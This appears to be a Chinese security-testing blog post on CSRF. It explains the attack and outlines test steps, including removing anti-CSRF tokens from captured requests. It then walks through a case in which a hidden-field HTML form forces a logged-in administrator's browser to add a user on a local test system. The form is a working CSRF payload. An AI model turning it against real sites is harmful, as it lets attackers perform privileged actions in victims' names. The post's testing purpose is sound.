【安全】【测试思路】CSRF攻击-测试思路总结

CSRF介绍

CSRF(Cross Site Request Foregy),中文名称之为跨站请求伪造。其攻击的原理是:攻击者利用实际用户的Cookies信息,以用户的身份,通过第三方网站,向被攻击网站发送非法请求(这一系列操作均由受害者在不知情的情况下完成的),从而绕过特定的权限进行操作数据、恶意攻击。
受害对象包含实际用户和被攻击网站。

CSRF攻击流程

攻击流程

测试思路

  1. 使用正常用户登录被测系统,获取涉及个人信息修改、敏感数据操作的请求,记录请求URL和参数;
  2. 编写HTML页面,或通过Burpsuite工具,生成相应的页面(需要注意页面内容,部分请求体中也存在防CSRF攻击的字段,如:tokenanti-CSRF等,需要甄别去除)。
  3. 使用1步骤中的浏览器,打开HTML页面,点击发送请求按钮。

案例

CSRF攻击新增用户

  1. 测试背景
    新增用户功能,属于管理员权限范畴,普通用户无此权限。此次,通过伪造一个新增用户的html页面,模拟管理员被诱导访问第三方网站,点击按钮,触发新增用户请求。
  2. 测试流程
    a. 获取新增用户的请求url和参数;

新增用户请求url
新增用户请求参数

b. 编写HTML页面,url和参数填入其中;(该系统的数据库字段有点小bug,别介意(~ ̄▽ ̄)~)

<html>
<title>CSRF Inject Page</title>
<div align="center">
	<form action="http://127.0.0.1:8080/gz/AdminServlet?method=addm&id=" method="POST">
		<input type="hidden" name="username" value="user8888" />
		<input type="hidden" name="password" value="123456" />
		<input type="hidden" name="tel" value="生产部" />
		<input type="hidden" name="realname" value="csrf用户" />
        <input type="hidden" name="sex" value="男" />
        <input type="hidden" name="age" value="总经理" />
      	<input type="hidden" name="address" value="13112345996" />

		<input type="submit" value="Click me!">
	</form>
</div>
</html>

c. 使用管理员登录系统,再新开标签页,打开HTML页面,点击按钮发起请求。
预期结果:状态码返回401鉴权失败,并给出错误提示。
实际结果:状态码返回200,提示操作成功。
csrf攻击请求
d. 去原系统界面任意操作,查看会话情况。
预期结果:会话失效,重定向至登录界面,本次token及sessionID被销毁(若有)。
实际结果:会话仍有效,未退出至登录页面。
界面会话情况

e. 去数据库查看用户是否添加成功(因后台数据处理问题导致乱码,不在此测试范围内)。
预期结果:数据库用户表未被新增数据,且未影响服务器、数据库等其他系统网元的正常运行。
实际结果:数据库用户表新增一条数据。
数据库用户表被插入一条数据
综上结果,该项目的新增用户功能没有做anti-CSRF,攻击成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值